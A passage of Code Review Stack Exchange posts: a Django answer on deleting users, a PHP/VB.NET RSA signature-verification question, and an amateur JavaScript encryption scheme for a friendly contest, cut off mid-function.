{
"body": "<p><strong>This is not how deleting objects work in Django</strong>.</p>\n\n<p>The <code>__del__</code> method is a Python mechanism and is called when an object is garbage collected. This would be a huge mess if database rows were dropped anytime an object goes out of scope. This is also why calling <code>del object</code> doesn't seem to have any side effect: Django still caches the value somewhere, you just got rid of your variable.</p>\n\n<p>Instead, you should use the <code>delete()</code> method on a model instance or on a queryset. But in fact none of this code is required as the <code>on_delete=models.CASCADE</code> will take care of that for you: as soon as a <code>User</code> object is deleted, the other linked objects will be deleted as well.</p>\n\n<p>The only thing missing is to automatically delete the <code>User</code> instance when a <code>UserProfile</code> instance is deleted. This is better implemented <a href=\"https://docs.djangoproject.com/en/2.1/ref/signals/#post-delete\" rel=\"nofollow noreferrer\">using signals</a> as it will be called for both usages discussed earlier.</p>\n\n<p>Alternatively, you can provide a method on your <code>UserProfile</code> model that will delete the underlying <code>User</code> and, thus, everything related to it:</p>\n\n<pre><code>def delete_user(self):\n self.User.delete()\n</code></pre>\n\n<p>But you won't be able to use it for bulk deletions.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T18:45:59.063",
"Id": "212996",
"ParentId": "212988",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "212996",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T16:24:18.917",
"Id": "212988",
"Score": "0",
"Tags": [
"python",
"django"
],
"Title": "Django delete user from userprofile"
} | 212988 |
<p>I would like to achieve something I believe is pretty standard:</p>
<p>A) My VB.NET client (ideally targetting Framework 4.0) sends a text string to my Apache/PHP Server via an HTTPS POST request.</p>
<p>B) My Server responds with a Signature of that text string.
Private key used by the Server is always the same, and public key used by Client is already embeded within the source code.</p>
<p>After investigating and reading through a lot of documentation, I came up with the following strategy. Is it efficient?</p>
<h1>Strategy</h1>
<h2>Server Side</h2>
<ul>
<li>Apache/PHP: Because that is the only server language I am familiar
with, but I could switch if recommended.</li>
<li>OpenSSL: Because I use PHP</li>
<li>PEM files: Because I use OpenSSL</li>
<li>RSA key size is 2048 bits: Recommended minimum in 2019</li>
<li>Algorythm is SHA256: Because everyone seems to use that one</li>
<li>Header text/plain, UTF8: Why not?</li>
</ul>
<h2>Client Side</h2>
<ul>
<li>VB.Net Framework 4.0 Client Profile: Because I want to maximise legacy (VSTO 2013)</li>
<li>System.Security.Cryptography.RSACryptoServiceProvider</li>
<li>PEM public key info loaded via XML string</li>
<li>HTTPS should be TLS1.0 or higher: Because I target .Net Framework 4.0 (TLS1.1 is recommended if possible)</li>
</ul>
<h1>Source Code</h1>
<h2>Server Side (generate .pem key files, only once)</h2>
<pre><code><?
// Create new Keys Pair
$new_key_pair = openssl_pkey_new(array(
"private_key_bits" => 2048,
"private_key_type" => OPENSSL_KEYTYPE_RSA,
));
//Save Private Key
openssl_pkey_export($new_key_pair, $private_key_pem, "my passphrase to protect my private key; add random characters like $, ?, #, & or ! for improved security");
file_put_contents('private_key.pem', $private_key_pem);
//Save Public Key
$details = openssl_pkey_get_details($new_key_pair);
$public_key_pem = $details['key'];
file_put_contents('public_key.pem', $public_key_pem);
?>
</code></pre>
<h2>Server Side (target of POST requests)</h2>
<pre><code><?
header('Content-Type: text/plain; charset=utf-8');
// Verify connection is secure
if(empty($_SERVER['HTTPS']) || $_SERVER['HTTPS']=="off")
{
echo "Unauthorized Access";
exit;
}
// Data to Sign
$data = base64_decode(file_get_contents('php://input'));
//Load Private Key
$private_key_pem = openssl_pkey_get_private('file:///path/protected/by/dotHtaccess/private_key.pem', "my passphrase to protect my private key; add random characters like $, ?, #, & or ! for improved security");
//Create Signature
openssl_sign($data, $signature, $private_key_pem, OPENSSL_ALGO_SHA256);
echo base64_encode($signature);
?>
</code></pre>
<h2>Client Side</h2>
<pre class="lang-vb prettyprint-override"><code>imports System.Diagnostics
Sub mySignatureTest()
Dim oURI As Uri = New Uri("https://www.example.com/targetpage.php")
Dim sData As String = "myStringToSign"
Dim sResponse As String
'# Get POST request Response
Using oWeb As New System.Net.WebClient()
Try
System.Net.ServicePointManager.SecurityProtocol = System.Net.ServicePointManager.SecurityProtocol And Not System.Net.ServicePointManager.SecurityProtocol.Ssl3 'Override defautl Security Protocols: Prohibit SSL3
oWeb.Encoding = Encoding.UTF8
Debug.Print("SSL version is " & System.Net.ServicePointManager.SecurityProtocol.ToString)
Debug.Print("Sending " & sData)
Debug.Print("To " & oURI.ToString)
Debug.Print("Encoding is " & oWeb.Encoding.ToString)
sResponse = oWeb.UploadString(oURI, "POST", Convert.ToBase64String(Encoding.UTF8.GetBytes(sData)))
Debug.Print("Server reponse = " & sResponse)
Catch ex As Exception
MsgBox("Connection with server failed: " & ex.ToString, vbCritical | vbOKOnly, "Add-In")
End Try
End Using
'#Verify RSA SHA256 Signature
Dim sDataToSign As String = sData
Dim sSignatureToVerify As String = sResponse
Using myRSA As New System.Security.Cryptography.RSACryptoServiceProvider
'XML format obtain from PEM file by hand copy/paste here: https://superdry.apphb.com/tools/online-rsa-key-converter
myRSA.FromXmlString("<RSAKeyValue><Modulus>SomeLongBase64StringHere</Modulus><Exponent>SomeShortBase64StringHere</Exponent></RSAKeyValue>")
Debug.Print("Signature verification = " & myRSA.VerifyData(Encoding.UTF8.GetBytes(sDataToSign), _
System.Security.Cryptography.CryptoConfig.MapNameToOID("SHA256"), _
Convert.FromBase64String(sSignatureToVerify)).ToString)
End Using
End Sub
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-03-03T00:13:49.257",
"Id": "467283",
"Score": "0",
"body": "Your code looks OK-ish, but are you sure you are not signing everything that anybody sends to you? Anybody can setup an TLS session unless you use either TLS client authentcation or authentication later on."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-03-03T10:05:34.357",
"Id": "467310",
"Score": "0",
"body": "With this test code, yes, definitely. In practice, the client provides a means of authentication (token, etc), then the server runs a DB lookup and signs the data only if the light is green."
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T16:29:04.903",
"Id": "212989",
"Score": "3",
"Tags": [
"php",
"cryptography",
"vb.net",
"openssl"
],
"Title": "Verify OpenSSL RSA signature (PHP) with .NET (VB)"
} | 212989 |
<p>I am participating in a <strong>funny</strong> crypto contest with my friends. This time, we raised the bar quite a bit.</p>
<p>The code below is my take for the constraints we set.
Note that on my machine, the code works perfectly.</p>
<h3>Constraints:</h3>
<ul>
<li>The message M is made of random numbers</li>
<li>M1 is 200 bytes at most.</li>
<li>Packet P is 1024 bytes long.</li>
<li>At most 2 exchanges between Bob and Alice (Bob sends one packet and Alice can answer one packet as well). More and they both burn.</li>
<li>P could be showed publicly for a very long time that it would not be an issue with current hardware.</li>
<li>Use javascript not to mess the reading (subjective) and prevent any tricks.</li>
</ul>
<h3>Context:</h3>
<p>The details of what is going on outside this scope is of 0 importance here (we don't care about the logic of existence of this code in the first place, <strong>we want to play</strong>). We just decided that game with those constraints.</p>
<h3>Questions:</h3>
<ul>
<li>Is this implementation solid enough overall?</li>
<li>Do you see <strong>blatant</strong> logic failures?</li>
</ul>
<h3>Edit:</h3>
<p>I've updated the code because I could attack my protocol by a side channel: the last message (in MKL_encrypt_receiver) was not protected by a mac and, with knowledge of the algorithm, I could prevent Bob and Alice from communicating. Not anymore. At least, not without Bob knowing something wrong is happening here.</p>
<h3>Code:</h3>
<pre><code>//Design: MKL
/* Globals */
var great_power = 1024
// obtained by physical exchange. Can be anything
var shared_secret1 = 25626n
var shared_secret2 = 17553n
// message
var str_buf
var initial_message_len
// debug -> to be removed before real use
var save_out_message
// simulate the machines
var obj_bob_machine
var obj_alice_machine
/* Deps */
const crypto = require('crypto');
let bigbuf = require('bigint-buffer')
/* Code */
/* ----- Common Code */
/* adjusts the variables we got from the two shared secrets */
function adjusted_huge_number(data_obj) {
let strength = 301n
/* rule out even values: they severely bias the bits dispersion */
if ((data_obj.shared_secret1 & 1n) === 0n) {
data_obj.shared_secret1++
}
if ((data_obj.shared_secret2 & 1n) === 0n) {
data_obj.shared_secret2++
}
let buff_mess_len = data_obj.incoming_message.length + 150
let adj = BigInt((48 + great_power) << 3)
let min = 2n ** adj
let multiple1, multiple2
upper_while:
while (1) {
multiple1 = (data_obj.shared_secret1 + (18n * data_obj.shared_secret2)) ** strength
multiple2 = (data_obj.shared_secret2 + (24n * data_obj.shared_secret1)) ** strength
/*let res1 = bigbuf.toBufferLE(multiple1, 560) /* 48 + 512*
let res2 = bigbuf.toBufferLE(multiple2, 560)*/
if (multiple2 <= min) {
if (multiple2 <= min) {
strength += 50n
continue
}
while (1) {
strength += 50n
multiple2 = data_obj.shared_secret2 ** strength
if (multiple2 <= min) continue
break upper_while
}
}
if (multiple1 <= min) {
while (1) {
strength += 50n
multiple1 = data_obj.shared_secret1 ** strength
if (multiple1 <= min) continue
break upper_while
}
}
else break upper_while
}
data_obj.multiple1 = multiple1
data_obj.multiple2 = multiple2
/* take the end of the buffers because repetitions occur at the beginning of the buffer, for every powers tested.
This could help an attacker if the message doesn't have a lot of bits set at the beginning.
We don't need a deep copy */
/* edit: start at 48, we are now mixing values; we want at least a number composed of 512 bytes*/
let res1 = bigbuf.toBufferLE(multiple1, 48 + great_power) /* 48 + 512*/
let res2 = bigbuf.toBufferLE(multiple2, 48 + great_power)
let new_buff1 = new Buffer(great_power)
let new_buff2 = new Buffer(great_power)
let new_buff3 = new Buffer(great_power)
//let res1_tmp = res1.slice(48,560)
res1.copy(new_buff1, 0, 48, 48 + great_power)
res2.copy(new_buff2, 0, 48, 48 + great_power)
for (let x = 0, xl = great_power; x < xl; x++) {
new_buff3[x] = new_buff1[x] ^ new_buff2[x]
}
data_obj.end_arr1 = new_buff1
data_obj.end_arr2 = new_buff2
data_obj.end_arr3 = new_buff3
// prevent that information to be kept in registers/memory for too long
strength = 0
}
/* sets fake data and possibibly the message */
function prepare_data(data_obj, is_encrypt) {
let size_head_bits = parseInt((data_obj.shared_secret1 * 7n + data_obj.shared_secret2 * 5n) & 511n)
let num_bytes_head = size_head_bits >> 3
let diff_head = size_head_bits - (num_bytes_head << 3)
data_obj.final_swap1 = diff_head
data_obj.pre_data = new Buffer((num_bytes_head))
let size_tail_bits = parseInt((data_obj.shared_secret1 * 11n + data_obj.shared_secret2 * 13n) & BigInt(((great_power << 3) - 1)))
let num_bytes_tail = size_tail_bits >> 3
let message_len = (num_bytes_head & 15) + 64
if (is_encrypt) {
// generate message
generate_random_message(data_obj, message_len)
}
// TODO: adjust for our mac system
let fill = great_power - num_bytes_head - num_bytes_tail - message_len - 4 - 4 /* for the macs*/
if (fill < 0) {
fill = 0
}
data_obj.final_swap2 = size_tail_bits - (num_bytes_tail << 3)
num_bytes_tail += fill
data_obj.post_data = new Buffer(num_bytes_tail)
if (is_encrypt) {
/* this randomization will prevent any attacker from bruteforcing the two secrets and only have to check for a match in post/pre fake data*/
let randomize = crypto.randomBytes(num_bytes_tail + num_bytes_head)
let randomize_counter = 0
let r = parseInt((data_obj.shared_secret1 * 3n) & 255n)
for (let x = 0, xl = (num_bytes_head + 1), q = num_bytes_head; x < xl; x++ , q++) {
// overflow are ignored -> don't care
data_obj.pre_data[x] = ((r * q * 11) ^ 0xB9) + randomize[randomize_counter++]
}
r = parseInt((data_obj.shared_secret2 * 13n) & 255n)
for (let x = 0, xl = num_bytes_tail, q = (xl + data_obj.incoming_message.length); x < xl; x++ , q++) {
data_obj.post_data[x] = ((r * q * 3) ^ 0x35) + randomize[randomize_counter++]
}
}
}
/* Prepare the substitution table */
function apply_table_transformations(table, array_transf) {
let tmp_buff = new Buffer(16)
for (let x = 0, xl = array_transf.length; x < xl; x++) {
let is_row = array_transf[x][0]
let num_slides = array_transf[x][2]
let line = array_transf[x][1]
if (is_row) { // we slide a row
let first_idx = line << 4
// save the bytes
let last_idx = first_idx + (16 - num_slides)
for (let y = 0, yl = 16; y < yl; y++) {
tmp_buff[y] = table[first_idx + y]
}
let yu2 = 16 - num_slides
for (let y = 0, yl = 16; y < yl; y++) {
let yu = first_idx + y
table[yu] = tmp_buff[(yu2 + y) & 15]
}
let debug
}
else { // column
// save the bytes
for (let y = 0, yl = 16, q = 0; y < yl; y++ , q += 16) {
tmp_buff[y] = table[line + q]
}
let yu = 16 - num_slides
for (let y = 0, yl = 16, q = line; y < yl; y++ , q += 16) {
table[q] = tmp_buff[(yu + y) & 15]
}
let debug
}
}
}
function prevent_bit_manipulation(data_obj) {
/* this function will be replaced by one of our mac
but it cannot be put here right now; So, dummy macs*/
data_obj.mac1 = 0x01020304
data_obj.mac2 = 0xfffefdfc
}
function detect_errors(data_obj) {
// here will be our mac verification function
return false
}
function adjust_value_table(table, value) {
if (table[value] === 0) {
table[value] = 1
return value
}
for (let x = 0, q = value; x < 256; x++ , q++) {
let p = q & 255
if (table[p] === 0) {
table[p] = 1
return p
}
}
}
function erase_footsteps(data_obj) {
// with javascript won't be enough but in C we can make sure to zero out memory
data_obj.incoming_message = ""
data_obj.shared_secret1 = 0
data_obj.shared_secret2 = 0
data_obj.total_length = 0
data_obj.final_swap1 = 0
data_obj.final_swap2 = 0
data_obj.pre_data = ""
data_obj.post_data = ""
data_obj.multiple1 = 0
data_obj.multiple2 = 0
data_obj.end_arr1 = 0
data_obj.end_arr2 = 0
data_obj.end_arr3 = 0
data_obj.mac1 = 0
data_obj.mac2 = 0
}
function create_initial_table(modulation_array, start_row, start_column) {
let table = new Buffer(256)
// mirror effect
let direction_row = modulation_array[0] & 1 // left -> right if 1
let direction_col = modulation_array[0] & 2 // up -> down if 1
let corner_choice = (modulation_array[0] & 12) >> 2
// remove after test
direction_col = 0
direction_row = 0
corner_choice = 0
start_column = 2
start_row = 2
let start
let current_value = 0
let begin_this_line
let start_offset
let grand_counter = 0
switch (corner_choice) {
case 0: // upper left
start = (start_row << 4) + start_column
begin_this_line = start_column
start_offset = start_row << 4
break;
case 1: // upper right
start = (start_row << 4) + (16 - start_column)
begin_this_line = 15 - start_column
start_offset = start_row << 4
break;
case 2: // lower left
start = (240 - (start_row << 4)) + start_column
begin_this_line = start_column
start_offset = (240 - (start_row << 4))
break;
case 3: // lower right
start = (240 - (start_row << 4)) + (16 - start_column)
begin_this_line = 15 - start_column
start_offset = (240 - (start_row << 4))
break;
}
let already_set = new Buffer(256)
if (direction_row) {
if (direction_col) {
for (let x = 0; x < 256; x++) {
let value = current_value++ ^ modulation_array[grand_counter++]
let suitable_value = adjust_value_table(already_set, value)
table[start++] = suitable_value //current_value++
start = (start & 255)
}
}
else {
/*let begin_this_line = (0 - (16 - first_line_diff)) & 255
let start_offset = start_row << 4*/
let begin_this_line_cpy = begin_this_line
for (let x = 0; x < 16; x++) {
for (let y = 0; y < 16; y++) {
begin_this_line_cpy &= 255
let value = begin_this_line_cpy++ ^ modulation_array[grand_counter++]
let suitable_value = adjust_value_table(already_set, value)
table[start_offset++] = suitable_value //begin_this_line_cpy++
start_offset &= 255
}
begin_this_line -= 16
begin_this_line_cpy = begin_this_line
start_offset &= 255
}
}
}
else {
if (direction_col) {
let begin_this_line_cpy = begin_this_line
for (let x = 0; x < 16; x++) {
for (let y = 0; y < 16; y++) {
begin_this_line_cpy &= 255
let value = begin_this_line_cpy++ ^ modulation_array[grand_counter++]
let suitable_value = adjust_value_table(already_set, value)
table[start_offset++] = suitable_value//begin_this_line_cpy--
start_offset &= 255
}
begin_this_line += 16
begin_this_line_cpy = begin_this_line
start_offset &= 255
}
}
else {
let yu
for (let x = 0; x < 256; x++) {
let value = current_value++ ^ modulation_array[grand_counter++]
let suitable_value = adjust_value_table(already_set, value)
table[start--] = suitable_value // current_value++
start = (start & 255)
}
}
}
return table
}
/* ----- Encryption sender */
async function MKL_encrypt_sender(shared_secret1 /*BigInt*/, shared_secret2 /*BigInt*/) {
let data_obj = {
incoming_message: "",
output_message: "",
offset_message: 0,
shared_secret1: shared_secret1,
shared_secret2: shared_secret2,
total_length: 0,
final_swap1: 0,
final_swap2: 0,
pre_data: "",
post_data: "",
multiple1: 0,
multiple2: 0,
end_arr1: 0,
end_arr2: 0,
end_arr3: 0,
mac1: 0,
mac2: 0
}
await prepare_data(data_obj, 1)
await adjusted_huge_number(data_obj)
await prevent_bit_manipulation(data_obj)
await concatenate_all_data(data_obj)
let tabl = await create_initial_table(data_obj.end_arr3, data_obj.final_swap1, data_obj.final_swap2)
await mix(data_obj, tabl)
erase_footsteps(data_obj)
// simulate machine memory
obj_bob_machine = data_obj
return data_obj.output_message
}
/* Messages we send with that protocol are random numbers */
function generate_random_message(data_obj, len) {
let buff = crypto.randomBytes(len)
// TODO: remove this line in production
str_buf = new Buffer.from(buff) /* for debug purposes */
initial_message_len = len
data_obj.incoming_message = buff
}
function concatenate_all_data(data_obj) {
let send_buffer = new Buffer(great_power)
/*
make it dependent of the middle six bytes of that modulation array:
if the same idx is selected, add one and keep going
*/
let len = (data_obj.end_arr2.length) >> 2
let order_arr = new Buffer(5) /* value must != 0; 1: prefake, 2: mac1, 3: message, 4: mac2, 5: postfake*/
let alternate = (data_obj.end_arr2[(len >> 2)] >> 4) & 1
let what = (data_obj.end_arr3[(len >> 2) - 5]) & 7
if (what > 5) {
what = 7 - what
}
let set = 0
for (let x = 0; x < 5; x++) {
if (set >= 5) break
let which_offset
if (alternate) {
which_offset = (data_obj.end_arr2[(len >> 2) + x]) & 7
}
else {
which_offset = (data_obj.end_arr1[(len >> 2) + x]) & 7
}
alternate ^= alternate
if (which_offset > 5) {
which_offset = 7 - which_offset
}
if (order_arr[which_offset] === 0) {
if (++what > 5) { // cannot overlap
what = 1
}
order_arr[which_offset] = what
set++
continue
}
else {
for (let y = 0; y < 5; y++) {
if (which_offset > 5) {
which_offset = 0
}
if (order_arr[which_offset] === 0) {
if (++what > 5) { // cannot overlap
what = 1
}
order_arr[which_offset] = what
set++
continue
}
else {
which_offset++
}
}
}
}
//console.log(order_arr)
let offset = 0
for (let x = 0; x < 5; x++) {
switch (order_arr[x]) {
case 1:
//console.log("concat: in offset pre", offset)
for (let x = 0, xl = data_obj.pre_data.length; x < xl; offset++ , x++) {
// overflow are ignored -> don't care
send_buffer[offset] = data_obj.pre_data[x] ^ data_obj.end_arr3[offset]
}
//console.log("concat: out offset pre", offset)
break;
case 2:
// mac
//console.log("concat: in offset mac1", offset)
data_obj.offset_mac1 = offset
send_buffer[offset] = (data_obj.mac1 >> 24) ^ data_obj.end_arr3[offset++]
send_buffer[offset] = ((data_obj.mac1 >> 16) & 0xFF) ^ data_obj.end_arr3[offset++]
send_buffer[offset] = ((data_obj.mac1 >> 8) & 0xFF) ^ data_obj.end_arr3[offset++]
send_buffer[offset] = ((data_obj.mac1) & 0xFF) ^ data_obj.end_arr3[offset++]
//console.log("concat: out offset mac1", offset)
break;
case 3:
data_obj.offset_message = offset
//console.log("concat: in offset mess", offset)
for (let x = 0, xl = data_obj.incoming_message.length; x < xl; offset++ , x++) {
//console.log(data_obj.incoming_message[x], data_obj.end_arr3[offset])
send_buffer[offset] = data_obj.incoming_message[x] ^ data_obj.end_arr3[offset]
}
//console.log("concat: out offset mess", offset)
break;
case 4:
//console.log("concat: in offset mac2", offset)
data_obj.offset_mac2 = offset
send_buffer[offset] = (data_obj.mac2 >> 24) ^ data_obj.end_arr3[offset++]
send_buffer[offset] = ((data_obj.mac2 >> 16) & 0xFF) ^ data_obj.end_arr3[offset++]
send_buffer[offset] = ((data_obj.mac2 >> 8) & 0xFF) ^ data_obj.end_arr3[offset++]
send_buffer[offset] = ((data_obj.mac2) & 0xFF) ^ data_obj.end_arr3[offset++]
//console.log("concat: out offset mac2", offset)
break;
case 5:
//console.log("concat: in offset post", offset)
for (let x = 0, xl = data_obj.post_data.length; x < xl; offset++ , x++) {
send_buffer[offset] = data_obj.post_data[x] ^ data_obj.end_arr3[offset]
}
//console.log("concat: out offset post", offset)
break;
}
}
data_obj.output_message = send_buffer
//save_out_message = new Buffer(send_buffer)
}
function mix(data_obj, table) {
global_in_of_mix_message = new Buffer(data_obj.output_message)
let len = great_power - 1
let arr = []
// table backup
let table_play_with = new Buffer(256)
table.copy(table_play_with)
// which array will we select?
let f = data_obj.final_swap1
for (let x = 0; x < 4; x++) {
arr[x] = (f++) & 3
}
// we do 16 table modifications per byte, reading a non overlapping 16-byte block, changing between end_arrs, and direction
let counter_array = 0
let q = 0
swap(data_obj, arr)
zz:
for (let x = 0, xl = len /*q = 0*/; x <= xl; x++ , q += 17) {
q = q & len
/* do table modification. */
let array_modifs = []
for (let y = 0, yl = 16; y < yl; y++) {
let data_pointer
switch (arr[counter_array++]) {
case 0:
data_pointer = data_obj.end_arr1
break
case 1:
data_pointer = data_obj.end_arr2
break
case 2:
data_pointer = data_obj.end_arr3
break;
case 3:
data_pointer = data_obj.end_arr1
break;
}
let u = q + y // real offset
let is_row = data_pointer[u] & 0x80
/* default direction :
row = left->right
col = up->down*/
let is_reverse_direction = data_pointer[u] & 0x40
let is_reverse_direction2 = data_pointer[u] & 0x20
let line = data_pointer[u] >> 4
let move = data_pointer[u] & 15
if (is_reverse_direction) {
if (is_reverse_direction2) {
for (let z = 0, zl = move; z < zl; z++) {
array_modifs.push([is_row, (line - z) & 15, ((move - z) & 15)])
last_op = is_row
}
}
else {
for (let z = 0, zl = move; z < zl; z++) {
array_modifs.push([is_row, (line + z) & 15, ((move - z) & 15)])
}
}
}
else {
if (is_reverse_direction2) {
for (let z = 0, zl = move; z < zl; z++) {
array_modifs.push([is_row, (line - z) & 15, ((move + z) & 15)])
}
}
else {
for (let z = 0, zl = move; z < zl; z++) {
array_modifs.push([is_row, (line + z) & 15, ((move + z) & 15)])
}
}
}
counter_array = counter_array & 3
}
apply_table_transformations(table_play_with, array_modifs)
let offset_in_table = data_obj.output_message[x]
let retrieve_value = table_play_with[offset_in_table]
data_obj.output_message[x] = retrieve_value
// reset_table
// not that efficient but I don't have a better way for now
table.copy(table_play_with)
counter_array = 0
}
global_out_of_mix_message = new Buffer(data_obj.output_message)
//compare_mix_unmix.pop()
}
function swap(data_obj, arr) {
let counter_array = 0
let len = great_power - 1
// swap some bytes.
for (let x = 0, xl = len, q = 0; x <= xl; x++ , q++) {
let data_pointer
switch (arr[counter_array]) {
case 0:
data_pointer = data_obj.end_arr1
break
case 1:
data_pointer = data_obj.end_arr2
break
case 2:
data_pointer = data_obj.end_arr3
break;
case 3:
data_pointer = data_obj.end_arr1
break;
}
q = q & len
let is_leave_alone = data_pointer[q] & 0x20
let is_exchange_look_back = data_pointer[q] & 0x8
let value_exchange_gap = (data_pointer[q] & 0x7) >>> 0
let w
if (is_leave_alone) {
counter_array++
counter_array = counter_array & 3
continue
}
if (is_exchange_look_back) {
w = x - value_exchange_gap
if (w < 0) {
w = (xl + w)
value_exchange_gap = w
}
else {
value_exchange_gap = w
}
}
else {
w = x + value_exchange_gap
if (w >= (xl)) {
w = (w - xl)
value_exchange_gap = w
}
else {
value_exchange_gap = w
}
}
counter_array++
counter_array = counter_array & 3
let retrieve_value = data_obj.output_message[value_exchange_gap]
let this_value = data_obj.output_message[x]
data_obj.output_message[value_exchange_gap] = this_value
data_obj.output_message[x] = retrieve_value
//console.log("from ",x," to ",value_exchange_gap)
}
}
/* ----- Decryption sender */
async function MKL_decrypt_sender(result) {
// simulate different machines on network
let data_obj = obj_bob_machine
if (result[data_obj.offset_message] > 127) {
console.log("The peer received the message you sent properly")
}
else {
console.log("The peer had an error with the received message")
}
console.log("end of the game")
}
/* ----- Encryption receiver */
async function MKL_encrypt_receiver(data_obj) {
if (detect_errors(data_obj)) {
send_back_to_sender(data_obj, false)
}
else {
send_back_to_sender(data_obj, true)
}
erase_footsteps(data_obj)
/* for the simulation we return the output_message this way */
return data_obj.output_message
}
function send_back_to_sender(data_obj, answer) {
let send_buffer = crypto.randomBytes(data_obj.output_message.length)
/* don't use the shared secrets. That would add some information. About the data structure
Yet, use the original message offset to send the answer (1 byte) */
if (answer) {
if (send_buffer[data_obj.offset_message] < 128) {
send_buffer[data_obj.offset_message] -= 128
}
}
else {
if (send_buffer[data_obj.offset_message] > 127) {
send_buffer[data_obj.offset_message] += 128
}
}
//Make sure nobody tampered the answer
add_mac(data_obj, send_buffer)
// send
data_obj.output_message = send_buffer
}
function add_mac(data_obj, send_buffer) {
// TODO: use our mac function here. Just use dummy results for now
send_buffer[data_obj.offset_mac1] = 0x01
send_buffer[data_obj.offset_mac1 + 1] = 0x02
send_buffer[data_obj.offset_mac1 + 2] = 0x03
send_buffer[data_obj.offset_mac1 + 3] = 0x04
send_buffer[data_obj.offset_mac2] = 0xFA
send_buffer[data_obj.offset_mac2 + 1] = 0xFB
send_buffer[data_obj.offset_mac2 + 2] = 0xFC
send_buffer[data_obj.offset_mac2 + 3] = 0xFD
}
/* ----- Decryption receiver */
async function MKL_decrypt_receiver(cypher_text /*Buffer*/, shared_secret1 /*BigInt*/, shared_secret2 /*Bigint*/) {
let data_obj = {
incoming_message: cypher_text,
output_message: "",
shared_secret1: shared_secret1,
shared_secret2: shared_secret2,
offset_message: 0,
final_swap1: 0,
final_swap2: 0,
pre_data: "",
post_data: "",
multiple1: 0,
multiple2: 0,
end_arr1: 0,
end_arr2: 0,
end_arr3: 0,
mac1: 0,
mac2: 0
}
await prepare_data(data_obj, 0)
await adjusted_huge_number(data_obj)
let tabl = await create_initial_table(data_obj.end_arr3, data_obj.final_swap1, data_obj.final_swap2)
await unmix(data_obj, tabl)
await deconcatenate_all_data(data_obj)
if (detect_errors()) {
data_obj.output_message = ""
}
// TODO: remove this when out of debug phase
// check
for (let x = 0, xl = initial_message_len; x < xl; x++) {
if (str_buf[x] != data_obj.output_message[x]) {
console.log("error: differing message at offset" + x)
}
}
return data_obj
}
function unswap(data_obj, arr) {
let len = great_power - 1
let start_q = len
let counter_array = len & 3
for (let x = len, xl = 0, q = start_q; x >= xl; x-- , q--) {
let data_pointer
switch (arr[counter_array]) {
case 0:
data_pointer = data_obj.end_arr1
break
case 1:
data_pointer = data_obj.end_arr2
break
case 2:
data_pointer = data_obj.end_arr3
break;
case 3:
data_pointer = data_obj.end_arr1
break;
}
q = q & len
let is_leave_alone = data_pointer[q] & 0x20
let is_exchange_look_back = data_pointer[q] & 0x8
let value_exchange_gap = (data_pointer[q] & 0x7) >>> 0
if (is_leave_alone) {
counter_array--
counter_array = counter_array & 3
continue
}
if (is_exchange_look_back) {
w = x - value_exchange_gap
if (w < 0) {
w = (len + w)
value_exchange_gap = w
}
else {
value_exchange_gap = w
}
}
else {
w = x + value_exchange_gap
if (w >= (len)) {
w = (w - len)
value_exchange_gap = w
}
else {
value_exchange_gap = w
}
}
counter_array--
counter_array = counter_array & 3
let retrieve_value = data_obj.incoming_message[value_exchange_gap]
let this_value = data_obj.incoming_message[x]
data_obj.incoming_message[value_exchange_gap] = this_value
data_obj.incoming_message[x] = retrieve_value
}
}
function unmix(data_obj, table) {
for (let x = 0, xl = data_obj.incoming_message.length; x < xl; x++) {
if (data_obj.incoming_message[x] != global_out_of_mix_message[x]) {
console.log("error")
}
}
let len = great_power - 1
let arr = []
// table backup
let table_play_with = new Buffer(256)
table.copy(table_play_with)
// which array will we select?
let f = data_obj.final_swap1
for (let x = 0; x < 4; x++) {
arr[x] = (f++) & 3
}
// we do 16 table modifications per byte, reading a non overlapping 16-byte block, changing between end_arrs, and direction
//let max_block_bytes = len >> 4 // 16 bytes
let q = (len * 17) & len
//let x = len
// avoids a division, since great power is not that high (1024 max)
/*while (x < (great_power - 1)) {
x += len
}*/
let x = len
let counter_array = 0 //x & 3
zz:
for (let xl = 0 /*q = last_q*/; x >= xl; x-- , q -= 17) {
q = q & len
/* do table modification. */
//let offset_in_table = data_obj.incoming_message[x]
let array_modifs = []
for (let y = 0, yl = 16; y < yl; y++) {
let data_pointer
switch (arr[counter_array++]) {
case 0:
data_pointer = data_obj.end_arr1
break
case 1:
data_pointer = data_obj.end_arr2
break
case 2:
data_pointer = data_obj.end_arr3
break;
case 3:
data_pointer = data_obj.end_arr1
break;
}
let u = q + y// real offset
let is_row = data_pointer[u] & 0x80
/* default direction :
row = left->right
col = up->down*/
let is_reverse_direction = data_pointer[u] & 0x40
let is_reverse_direction2 = data_pointer[u] & 0x20
let line = data_pointer[u] >> 4
let move = data_pointer[u] & 15
counter_array &= 3
if (move === 0) {
continue
}
if (is_reverse_direction) {
if (is_reverse_direction2) {
for (let z = 0, zl = move; z < zl; z++) {
array_modifs.push([is_row, (line - z) & 15, ((move - z) & 15)])
}
}
else {
for (let z = 0, zl = move; z < zl; z++) {
array_modifs.push([is_row, (line + z) & 15, ((move - z) & 15)])
}
}
}
else {
if (is_reverse_direction2) {
for (let z = 0, zl = move; z < zl; z++) {
array_modifs.push([is_row, (line - z) & 15, ((move + z) & 15)])
}
}
else {
for (let z = 0, zl = move; z < zl; z++) {
array_modifs.push([is_row, (line + z) & 15, ((move + z) & 15)])
}
}
}
}
apply_table_transformations(table_play_with, array_modifs)
let retrieve_value = data_obj.incoming_message[x]
for (let y = 0; y < 256; y++) {
if (table_play_with[y] === retrieve_value) {
/*if (compare_mix_unmix[x][1] != retrieve_value) {
console.log("error", x)
return ""
}
if (compare_mix_unmix[x][0] != y) {
console.log("error2", x)
return ""
}
if (compare_mix_unmix[x][2] != q) {
console.log("error3", x)
return ""
}
if (compare_mix_unmix[x][3] != counter_array) {
console.log("error4", x)
return ""
}*/
data_obj.incoming_message[x] = y
break
}
}
// reset_table
table.copy(table_play_with)
counter_array = 0
}
unswap(data_obj, arr)
for (let x = 0, xl = data_obj.incoming_message.length; x < xl; x++) {
if (data_obj.incoming_message[x] != global_in_of_mix_message[x]) {
